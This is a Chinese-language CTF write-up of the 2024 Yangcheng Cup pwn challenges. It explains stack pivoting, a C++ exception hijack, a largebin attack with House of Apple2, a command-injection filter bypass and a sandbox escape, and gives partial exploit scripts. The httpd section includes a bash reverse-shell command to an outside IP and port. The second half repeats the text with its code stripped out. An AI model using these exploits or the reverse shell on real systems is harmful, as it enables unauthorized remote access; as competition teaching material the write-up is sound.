2024羊城杯pwn方向详细wp
字数 1669 2025-08-24 07:48:23

羊城杯PWN方向题目分析与利用技术详解

1. pstack题目分析

1.1 题目概述

这是一个典型的栈迁移利用题目,属于签到级别难度。

1.2 漏洞分析

  • 存在栈溢出漏洞,可以覆盖返回地址
  • 程序开启了NX保护,需要ROP技术绕过

1.3 利用思路

  1. 第一次栈迁移:

    • 通过溢出将栈迁移到bss段
    • 调用read函数读取第二阶段payload
  2. 泄露libc地址:

    • 在bss段构造ROP链调用puts泄露stdout地址
    • 计算libc基址
  3. 获取shell:

    • 再次栈迁移到bss段另一区域
    • 构造system("/bin/sh")的ROP链

1.4 关键ROP链

# 第一次栈迁移
payload = b'a'*0x30 + p64(bss+0x30) + p64(my_read)

# 泄露libc的ROP链
payload = p64(pop_rdi) + p64(stdout) + p64(puts) + p64(main)
payload = payload.ljust(0x30, b'\x00')
payload += p64(bss-8) + p64(leave_ret)

# 获取shell的ROP链
payload = p64(pop_rdi) + p64(bin_addr) + p64(system_addr)

2. logger题目分析

2.1 题目概述

利用C++异常处理机制进行漏洞利用的题目。

2.2 漏洞分析

  • 可以覆盖src中的内容
  • 异常处理中将exception指向了src
  • backdoor函数中rax正好是存exception指针的寄存器

2.3 利用思路

  1. 填充堆空间为后续利用做准备
  2. 写入"/bin/sh"字符串
  3. 触发异常处理机制跳转到backdoor函数

2.4 关键exp代码

# 填充堆空间
for i in range(8):
    p.sendlineafter(menu, str(1))
    p.sendafter("You can record log details here:", b'a'*0x10)
    p.sendlineafter("Do you need to check the records?", 'n')

# 写入/bin/sh
p.sendlineafter(menu, str(1))
p.sendafter("You can record log details here:", '/bin/sh\x00')
p.sendlineafter("Do you need to check the records?", 'n')

# 触发漏洞
p.sendlineafter("Your chocie:", "2")
bss = 0x4040E0
p.sendlineafter("message", b"A"*0x70 + p64(bss+0x800) + p64(0x401BC7) + cyclic(0x20))

3. TravelGraph题目分析

3.1 题目概述

libc2.35环境下的堆溢出利用题目,涉及多种高级堆利用技术。

3.2 漏洞分析

  • UAF漏洞:delete后未清除list中的指针
  • 堆溢出:edit函数中存在堆溢出可能
  • 算法绕过:Dijkstra函数中特定条件可触发edit_flag2

3.3 利用思路

  1. 泄露heap基址:

    • 通过largebin chunk的fd/bk指针泄露
  2. 泄露libc基址:

    • 通过unsorted bin残留指针泄露
  3. largebin attack:

    • 利用edit函数中的索引漏洞修改largebin chunk的bk_nextsize
    • 攻击_IO_list_all指针
  4. House of Apple2:

    • 构造伪造的IO_FILE结构
    • 通过FSOP触发ROP链执行

3.4 关键利用步骤

# 泄露heap基址
add('car', 'nanning', 'changsha', 999, b'a'*8)
show('nanning', 'changsha')
heapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x1470 - 0x530

# 泄露libc基址
delete('changsha', 'nanchang')
delete('fuzhou', 'changsha')
add('car', 'changsha', 'nanchang', 999, b'a')
delete('changsha', 'nanchang')
payload = b'a'*0x510
add('plane', 'fuzhou', 'changsha', 999, payload)
show('fuzhou', 'changsha')
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0

# House of Apple2构造
fake_IO_addr = heapbase + 0x2e60
magic_gadget = libcbase + 0x16A06A
leave_ret = libcbase + 0x4da83
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70

# 构造ORW ROP链
orw_rop = b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr+0x8)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libcbase + libc.sym['open'])
[...省略部分ROP链...]

# largebin attack
target = libcbase + libc.sym['_IO_list_all']
payload = p64(heapbase + 0xa000) + p64(target - 0x20)
edit('guangzhou', 'changsha', 1, 0xfff7f7b110, payload)

4. httpd题目分析

4.1 题目概述

一个32位HTTP服务程序,存在命令注入漏洞。

4.2 漏洞分析

  • 白名单过滤不严格,可绕过
  • 使用popen函数执行命令
  • 存在重定向操作,但可通过特殊方式绕过

4.3 利用思路

  1. 构造特殊HTTP请求绕过过滤:

    • 使用分片字符串绕过"sh"检测(如"s"h)
  2. 反弹shell:

    • 通过popen执行反弹shell命令

4.4 关键exp代码

host = '0.0.0.10'
request = 'GET /"s"h HTTP/1.0\r\n'
request += 'Host: ' + host + '\r\n'
request += 'Content-Length: 0\r\n'
p.sendline(request)
p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')

5. hard sandbox题目分析

5.1 题目概述

高难度沙箱逃逸题目,限制较多。

5.2 保护限制

  • open/openat/execve/execveat系统调用被禁止
  • 只允许x86_64架构的系统调用
  • retfq等技巧无法使用

5.3 可能的突破方向

  1. 使用未被禁止的系统调用:

    • 如fopen/fread等libc函数
  2. 侧信道攻击:

    • 通过可用系统调用泄露信息
  3. 特殊文件描述符操作:

    • 利用已有的文件描述符

6. 通用技术总结

6.1 栈迁移技术

  1. 使用leave;ret指令控制栈指针
  2. 分阶段迁移:
    • 第一次迁移到可写区域
    • 第二次构造完整ROP链

6.2 堆利用技术

  1. largebin attack:

    • 修改bk_nextsize实现任意地址写
  2. House of Apple2:

    • 伪造IO_FILE结构
    • 利用_IO_wfile_jumps触发
  3. 堆风水:

    • 控制unsorted bin残留指针
    • 精确计算偏移

6.3 绕过过滤技巧

  1. 字符串分片:

    • 如"s"h绕过"sh"检测
  2. 编码绕过:

    • 使用八进制/十六进制表示
  3. 替代函数:

    • 使用未被过滤的类似功能函数

6.4 ROP链构造

  1. 通用gadget:

    • pop rdi; ret
    • pop rsi; ret
    • pop rdx; ret
  2. 函数调用顺序:

    • 先泄露地址,再获取shell
  3. 栈平衡:

    • 注意每个gadget的栈影响

以上是对羊城杯PWN方向题目的全面技术分析,涵盖了栈溢出、堆利用、沙箱逃逸等多种漏洞利用技术,可作为类似题目的参考解决方案。

羊城杯PWN方向题目分析与利用技术详解 1. pstack题目分析 1.1 题目概述 这是一个典型的栈迁移利用题目,属于签到级别难度。 1.2 漏洞分析 存在栈溢出漏洞,可以覆盖返回地址 程序开启了NX保护,需要ROP技术绕过 1.3 利用思路 第一次栈迁移: 通过溢出将栈迁移到bss段 调用read函数读取第二阶段payload 泄露libc地址: 在bss段构造ROP链调用puts泄露stdout地址 计算libc基址 获取shell: 再次栈迁移到bss段另一区域 构造system("/bin/sh")的ROP链 1.4 关键ROP链 2. logger题目分析 2.1 题目概述 利用C++异常处理机制进行漏洞利用的题目。 2.2 漏洞分析 可以覆盖src中的内容 异常处理中将exception指向了src backdoor函数中rax正好是存exception指针的寄存器 2.3 利用思路 填充堆空间为后续利用做准备 写入"/bin/sh"字符串 触发异常处理机制跳转到backdoor函数 2.4 关键exp代码 3. TravelGraph题目分析 3.1 题目概述 libc2.35环境下的堆溢出利用题目,涉及多种高级堆利用技术。 3.2 漏洞分析 UAF漏洞:delete后未清除list中的指针 堆溢出:edit函数中存在堆溢出可能 算法绕过:Dijkstra函数中特定条件可触发edit_ flag2 3.3 利用思路 泄露heap基址: 通过largebin chunk的fd/bk指针泄露 泄露libc基址: 通过unsorted bin残留指针泄露 largebin attack: 利用edit函数中的索引漏洞修改largebin chunk的bk_ nextsize 攻击_ IO_ list_ all指针 House of Apple2: 构造伪造的IO_ FILE结构 通过FSOP触发ROP链执行 3.4 关键利用步骤 4. httpd题目分析 4.1 题目概述 一个32位HTTP服务程序,存在命令注入漏洞。 4.2 漏洞分析 白名单过滤不严格,可绕过 使用popen函数执行命令 存在重定向操作,但可通过特殊方式绕过 4.3 利用思路 构造特殊HTTP请求绕过过滤: 使用分片字符串绕过"sh"检测(如"s"h) 反弹shell: 通过popen执行反弹shell命令 4.4 关键exp代码 5. hard sandbox题目分析 5.1 题目概述 高难度沙箱逃逸题目,限制较多。 5.2 保护限制 open/openat/execve/execveat系统调用被禁止 只允许x86_ 64架构的系统调用 retfq等技巧无法使用 5.3 可能的突破方向 使用未被禁止的系统调用: 如fopen/fread等libc函数 侧信道攻击: 通过可用系统调用泄露信息 特殊文件描述符操作: 利用已有的文件描述符 6. 通用技术总结 6.1 栈迁移技术 使用leave;ret指令控制栈指针 分阶段迁移: 第一次迁移到可写区域 第二次构造完整ROP链 6.2 堆利用技术 largebin attack: 修改bk_ nextsize实现任意地址写 House of Apple2: 伪造IO_ FILE结构 利用_ IO_ wfile_ jumps触发 堆风水: 控制unsorted bin残留指针 精确计算偏移 6.3 绕过过滤技巧 字符串分片: 如"s"h绕过"sh"检测 编码绕过: 使用八进制/十六进制表示 替代函数: 使用未被过滤的类似功能函数 6.4 ROP链构造 通用gadget: pop rdi; ret pop rsi; ret pop rdx; ret 函数调用顺序: 先泄露地址,再获取shell 栈平衡: 注意每个gadget的栈影响 以上是对羊城杯PWN方向题目的全面技术分析,涵盖了栈溢出、堆利用、沙箱逃逸等多种漏洞利用技术,可作为类似题目的参考解决方案。